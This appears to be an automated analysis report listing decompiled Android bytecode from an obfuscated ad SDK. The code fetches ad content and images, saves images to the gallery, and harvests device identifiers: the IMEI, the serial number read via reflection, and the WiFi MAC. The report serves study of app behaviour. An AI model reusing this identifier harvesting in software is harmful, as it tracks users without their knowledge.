103 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
104 | move-result-object v9 | |
106 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
107 | const/16 v8, 0xc8 | |
108 | if-ne v1, v8, :cond_26 | |
110 | invoke-interface {v5}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
111 | move-result-object v8 | |
113 | invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
114 | move-result-object v6 | |
116 | const-string v8, "AirplaySDK" | |
117 | new-instance v9, Ljava/lang/StringBuilder; | |
119 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
121 | const-string v10, "Overlay Data: " | |
123 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
124 | move-result-object v9 | |
126 | invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
127 | move-result-object v9 | |
129 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
130 | move-result-object v9 | |
132 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
133 | try_end_b4: goto/16 :goto_26 | |
134 | catch_b6: move-exception v2 | |
136 | const-string v8, "AirplaySDK" | |
138 | const-string v9, "Exception in overlay: " | |
140 | invoke-static {v8, v9, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
141 | goto/16 :goto_26 | |
142 | cond_c0: | |
143 | invoke-interface {v5}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
144 | move-result-object v8 | |
146 | invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
147 | try_end_c7: move-result v1 | |
148 | goto/16 :goto_78 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v7, Ljava/net/URL; | |
3 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
5 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$imageURL:Ljava/lang/String; | |
7 | invoke-direct {v7, v8}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
9 | invoke-virtual {v7}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
10 | move-result-object v0 | |
11 | check-cast v0, Ljava/net/HttpURLConnection; | |
12 | const/4 v8, 0x1 | |
14 | invoke-virtual {v0, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V |
|
16 | invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V | |
18 | invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
19 | move-result-object v5 | |
21 | invoke-static {v5}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap; | |
22 | move-result-object v6 | |
24 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
26 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
28 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
29 | move-result-object v8 | |
31 | invoke-virtual {v8}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo; | |
32 | move-result-object v8 | |
34 | iget-object v1, v8, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String; | |
35 | const/4 v3, 0x0 | |
36 | new-instance v4, Ljava/io/File; | |
38 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
40 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String; | |
42 | invoke-direct {v4, v1, v8}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V | |
44 | const-string v8, "TAG" | |
45 | new-instance v9, Ljava/lang/StringBuilder; | |
47 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
49 | const-string v10, "file: " | |
51 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
52 | move-result-object v9 | |
54 | invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; | |
55 | move-result-object v10 | |
57 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
58 | move-result-object v9 | |
60 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
61 | move-result-object v9 | |
63 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
64 | new-instance v3, Ljava/io/FileOutputStream; | |
66 | invoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
68 | sget-object v8, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat; | |
69 | const/16 v9, 0x55 | |
71 | invoke-virtual {v6, v8, v9, v3}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z |
|
73 | invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V | |
75 | invoke-virtual {v3}, Ljava/io/OutputStream;->close()V | |
76 | goto_64: new-instance v8, Ljava/lang/StringBuilder; | |
78 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
80 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
82 | iget-object v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
84 | invoke-virtual {v9}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
85 | move-result-object v9 | |
87 | invoke-virtual {v9}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo; | |
88 | move-result-object v9 | |
90 | iget-object v9, v9, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String; | |
92 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
93 | move-result-object v8 | |
95 | const-string v9, "/" | |
97 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
98 | move-result-object v8 | |
100 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
102 | iget-object v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String; | |
104 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
105 | move-result-object v8 | |
107 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
108 | move-result-object v1 | |
109 | try_start_8d: | |
110 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
112 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
114 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
115 | move-result-object v8 | |
117 | invoke-virtual {v8}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver; | |
118 | move-result-object v8 | |
120 | const-string v9, "My Image" | |
122 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
124 | iget-object v10, v10, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String; | |
126 | invoke-static {v8, v1, v9, v10}, Landroid/provider/MediaStore$Images$Media;->insertImage(Landroid/content/ContentResolver;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
128 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
130 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
131 | new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1; | |
133 | invoke-direct {v9, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;)V | |
135 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
136 | goto_ae: return-void | |
137 | catch_af: move-exception v2 | |
139 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
140 | goto/16 :goto_64 | |
141 | catch_b4: move-exception v2 | |
143 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
145 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
146 | new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2; | |
148 | invoke-direct {v9, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;)V | |
150 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
152 | invoke-virtual {v2}, Ljava/io/FileNotFoundException;->printStackTrace()V | |
153 | goto/16 :goto_ae | |
154 | catch_c5: move-exception v2 | |
156 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2; | |
158 | iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
159 | new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3; | |
161 | invoke-direct {v9, p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;Ljava/lang/Exception;)V | |
163 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
165 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
166 | goto/16 :goto_ae |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context; | |
4 | const-string v6, "phone" | |
6 | invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
7 | move-result-object v5 | |
8 | check-cast v5, Landroid/telephony/TelephonyManager; | |
10 | invoke-virtual {v5}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; | |
11 | move-result-object v3 | |
12 | if-eqz v3, :cond_18 | |
14 | const-string v5, "" | |
16 | invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
17 | move-result v5 | |
18 | if-eqz v5, :cond_ad | |
19 | cond_18: | |
20 | const-string v5, "android.os.SystemProperties" | |
22 | invoke-static {v5}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; |
|
23 | move-result-object v0 | |
25 | const-string v5, "get" | |
26 | const/4 v6, 0x1 | |
27 | new-array v6, v6, [Ljava/lang/Class; | |
28 | const/4 v7, 0x0 | |
29 | const-class v8, Ljava/lang/String; | |
30 | aput-object v8, v6, v7 | |
32 | invoke-virtual {v0, v5, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; |
|
33 | move-result-object v1 | |
34 | const/4 v5, 0x1 | |
35 | new-array v5, v5, [Ljava/lang/Object; | |
36 | const/4 v6, 0x0 | |
38 | const-string v7, "ro.serialno" | |
39 | aput-object v7, v5, v6 | |
41 | invoke-virtual {v1, v0, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; | |
42 | move-result-object v3 | |
43 | check-cast v3, Ljava/lang/String; | |
45 | const-string v5, "SERIAL" | |
47 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V |
|
48 | if-eqz v3, :cond_49 | |
50 | const-string v5, "" | |
52 | invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
53 | move-result v5 | |
54 | if-eqz v5, :cond_90 | |
55 | cond_49: | |
56 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context; | |
58 | invoke-virtual {v5}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
59 | move-result-object v5 | |
61 | const-string v6, "android.permission.ACCESS_WIFI_STATE" | |
63 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context; | |
65 | invoke-static {v7}, Lcom/vxjxu/jkhfn1870/Util;->getPackageName(Landroid/content/Context;)Ljava/lang/String; | |
66 | move-result-object v7 | |
68 | invoke-virtual {v5, v6, v7}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I |
|
69 | move-result v5 | |
70 | if-nez v5, :cond_91 | |
72 | iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context; | |
74 | const-string v6, "wifi" | |
76 | invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
77 | move-result-object v4 | |
78 | check-cast v4, Landroid/net/wifi/WifiManager; | |
80 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
81 | new-instance v6, Ljava/lang/StringBuilder; | |
83 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
85 | const-string v7, "WIFI " | |
87 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
88 | move-result-object v6 | |
90 | invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z | |
91 | move-result v7 | |
93 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; | |
94 | move-result-object v6 | |
96 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
97 | move-result-object v6 | |
99 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
101 | invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo; | |
102 | move-result-object v5 | |
104 | invoke-virtual {v5}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String; | |
105 | move-result-object v3 | |
107 | const-string v5, "WIFI_MAC" | |
109 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V |
|
110 | goto_90: return-object v3 | |
111 | cond_91: new-instance v5, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory; | |
113 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context; | |
115 | invoke-direct {v5, p0, v6}, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory;-><init>(Lcom/vxjxu/jkhfn1870/UserDetails;Landroid/content/Context;)V | |
117 | invoke-virtual {v5}, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory;->getDeviceUuid()Ljava/util/UUID; | |
118 | move-result-object v5 | |
120 | invoke-virtual {v5}, Ljava/util/UUID;->toString()Ljava/lang/String; | |
121 | move-result-object v3 | |
123 | const-string v5, "UUID" | |
125 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V |
|
126 | try_end_a5: goto/16 :goto_90 | |
127 | catch_a6: move-exception v2 | |
129 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
131 | const-string v3, "invalid" | |
132 | goto/16 :goto_90 | |
133 | try_start_ad: | |
134 | const-string v5, "IMEI" | |
136 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V |
|
137 | try_end_b2: goto/16 :goto_90 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "params" # [Ljava/lang/Void; | |
1 | .prologue | |
2 | const/4 v3, 0x0 | |
3 | try_start_1: new-instance v5, Ljava/net/URL; | |
5 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->IMAGE_URL:Ljava/lang/String; | |
7 | invoke-direct {v5, v6}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
9 | invoke-virtual {v5}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
10 | move-result-object v6 | |
11 | move-object v0, v6 | |
12 | check-cast v0, Ljava/net/HttpURLConnection; | |
13 | move-object v3, v0 | |
15 | const-string v6, "GET" | |
17 | invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V |
|
18 | const/16 v6, 0x4e20 | |
20 | invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V |
|
21 | const/16 v6, 0x4e20 | |
23 | invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V |
|
24 | const/4 v6, 0x0 | |
26 | invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V |
|
27 | const/4 v6, 0x0 | |
29 | invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setDefaultUseCaches(Z)V |
|
31 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->connect()V | |
33 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getResponseCode()I | |
34 | move-result v1 | |
35 | const/16 v6, 0xc8 | |
36 | if-ne v1, v6, :cond_43 | |
38 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
39 | move-result-object v4 | |
41 | invoke-static {v4}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap; | |
42 | move-result-object v6 | |
43 | iput-object v6, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->bmpicon:Landroid/graphics/Bitmap; | |
44 | try_end_3c: if-eqz v3, :cond_41 | |
46 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V | |
47 | goto_41: const/4 v6, 0x0 | |
48 | return-object v6 | |
49 | cond_43: | |
50 | const-string v6, "AirplaySDK" | |
51 | new-instance v7, Ljava/lang/StringBuilder; | |
53 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
55 | const-string v8, "Http code: " | |
57 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
58 | move-result-object v7 | |
60 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
61 | move-result-object v7 | |
63 | const-string v8, "message: " | |
65 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v7 | |
68 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getResponseMessage()Ljava/lang/String; | |
69 | move-result-object v8 | |
71 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
72 | move-result-object v7 | |
74 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
75 | move-result-object v7 | |
77 | invoke-static {v6, v7}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
78 | try_end_69: goto/16 :goto_3c | |
79 | catch_6a: move-exception v2 | |
80 | try_start_6b: | |
81 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
83 | const-string v6, "AirplaySDK" | |
85 | const-string v7, "Network Error, please try again later" | |
87 | invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
88 | try_end_75: if-eqz v3, :cond_41 | |
90 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V | |
91 | goto/16 :goto_41 | |
92 | catchall_7b: move-exception v6 | |
93 | if-eqz v3, :cond_81 | |
95 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V | |
96 | cond_81: throw v6 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: sget v5, Landroid/os/Build$VERSION;->SDK_INT:I | |
2 | const/16 v6, 0x8 | |
3 | if-ge v5, v6, :cond_11 | |
5 | const-string v3, "Video ad supported on Android 2.2 and later devices." | |
7 | const-string v5, "AirplaySDK" | |
9 | invoke-static {v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
11 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
12 | goto_10: return-void | |
13 | cond_11: | |
14 | const-string v5, "AirplaySDK" | |
16 | const-string v6, "Initialising video ad....." | |
18 | invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
22 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
23 | move-result v5 | |
24 | if-eqz v5, :cond_af | |
25 | sget-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
26 | if-nez v5, :cond_2c | |
28 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
30 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/VideoAd;->checkVideoAdPermission(Landroid/content/Context;)Z | |
31 | move-result v5 | |
32 | if-nez v5, :cond_39 | |
33 | cond_2c: | |
34 | const-string v5, "AirplaySDK" | |
36 | const-string v6, "Integration issue is there" | |
38 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
39 | try_end_33: goto/16 :goto_10 | |
40 | catch_34: move-exception v2 | |
42 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
43 | goto/16 :goto_10 | |
44 | cond_39: | |
45 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
46 | const-class v6, Lcom/vxjxu/jkhfn1870/VideoAdActivity; | |
48 | invoke-static {v5, v6}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
49 | move-result v1 | |
50 | if-nez v1, :cond_57 | |
52 | const-string v3, "Required VideoAdActivity not found in Manifest. Please add" | |
54 | const-string v5, "AirplaySDK" | |
56 | invoke-static {v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
58 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V |
|
59 | new-instance v5, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
61 | sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
62 | const/16 v7, 0x66 | |
64 | invoke-direct {v5, v6, v7}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
65 | goto/16 :goto_10 | |
66 | cond_57: | |
67 | invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String; | |
68 | move-result-object v4 | |
69 | if-eqz v4, :cond_a3 | |
71 | const-string v5, "mounted" | |
73 | invoke-virtual {v4, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
74 | move-result v5 | |
75 | if-eqz v5, :cond_a3 | |
77 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
78 | move-result v5 | |
79 | if-eqz v5, :cond_76 | |
81 | const-string v3, "Another ad is already showing on screen." | |
83 | const-string v5, "AirplaySDK" | |
85 | invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
87 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
88 | goto/16 :goto_10 | |
89 | cond_76: | |
90 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
91 | move-result-wide v6 | |
93 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
95 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextVideoAdCallTime(Landroid/content/Context;)J | |
96 | move-result-wide v8 | |
97 | cmp-long v5, v6, v8 | |
98 | if-gez v5, :cond_8f | |
100 | const-string v3, "Video ad is before 30 secs. Ignoring request." | |
102 | const-string v5, "AirplaySDK" | |
104 | invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
106 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
107 | goto/16 :goto_10 | |
108 | cond_8f: new-instance v0, Lcom/vxjxu/jkhfn1870/VideoAd; | |
110 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
112 | invoke-direct {v0, v5}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V | |
114 | sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
116 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
117 | move-result v5 | |
118 | if-eqz v5, :cond_10 | |
120 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/VideoAd;->launchNewHttpTask()V | |
121 | goto/16 :goto_10 | |
122 | cond_a3: | |
123 | const-string v3, "Can\'t call video ad at this time. SD card not mounted." | |
125 | const-string v5, "AirplaySDK" | |
127 | invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
129 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
130 | goto/16 :goto_10 | |
131 | cond_af: | |
132 | const-string v5, "AirplaySDK" | |
134 | const-string v6, "AirPlay is disabled please enable to receive ads." | |
136 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
137 | try_end_b6: goto/16 :goto_10 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation build Landroid/annotation/SuppressLint; | |
1 | value = { | |
2 | "SetJavaScriptEnabled", | |
3 | "InlinedApi" | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | const/4 v5, 0x1 | |
8 | const/4 v4, 0x0 | |
9 | new-instance v0, Landroid/view/ViewGroup$LayoutParams; | |
10 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I | |
11 | iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I | |
13 | invoke-direct {v0, v2, v3}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V | |
15 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
17 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setHorizontalScrollBarEnabled(Z)V |
|
19 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setVerticalScrollBarEnabled(Z)V |
|
20 | const/high16 v2, 0x2000000 | |
22 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setScrollBarStyle(I)V |
|
24 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setBackgroundColor(I)V |
|
25 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient; | |
26 | const/4 v3, 0x0 | |
28 | invoke-direct {v2, p0, v3}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Lcom/vxjxu/jkhfn1870/MraidView$1;)V |
|
